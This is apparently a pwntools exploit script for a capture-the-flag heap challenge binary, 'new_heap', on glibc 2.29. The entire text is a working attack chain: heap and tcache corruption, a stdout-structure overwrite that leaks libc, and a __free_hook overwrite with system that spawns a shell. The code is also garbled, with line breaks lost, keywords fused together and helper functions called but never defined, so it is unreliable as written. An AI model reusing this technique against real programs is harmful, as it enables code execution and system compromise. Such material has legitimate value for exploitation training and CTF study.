from pwn import * local = 1 exec_file="./new_heap" context.binary=exec_file context.log_level="debug" elf=ELF(exec_file,checksec = False) argv = ["/glibc/x64/2.29/lib/ld-2.29.so","--library-path", "/glibc/x64/2.29/lib/","./new_heap"] if local : p=process(argv=argv) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") else: p=remote() libc=ELF("./libc.so.6")
defdebug(): gdb.attach(p)
defleak(address): n = globals() for key,value in n.items(): if value == address: return success(key+" ==> "+hfuck(address)) defmenu(idx): p.sendlineafter("3.exit\n",str(idx))
deffuck(content): p.sendlineafter('exit',str(3)) p.sendafter('sure?',content) while1: try: for i in range(7): add(0x38,'A\n') add(0x38) add(0x38) for i in range(9): delete(i)
fuck('A'*0x38+p64(0x41)) add(0x18,'A\n') delete(7) add(0x38) delete(8) add(0x18) add(0x18) for i in range(0x3f): fuck("") fuck('A'*0x18+p64(0x21)+'A'*0x20+"\x60\x27") add(0x38) add(0x38,p64(0xfbad1800)+p64(0)*3+'\x00') p.recvuntil(p64(0xfbad1800)) p.recvuntil("\x7f") libc_base = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-131-libc.symbols["_IO_2_1_stdout_"] fuck(libc_base) delete(12,False) for i in range(0x41): fuck("") fuck("A"*0x20+p64(libc_base+libc.symbols["__free_hook"])) add(0x18,'/bin/sh\x00',False) add(0x18,p64(libc_base+libc.symbols["system"]),False) delete(15,False) p.interactive() break except: p.close() p=process(argv=argv) continue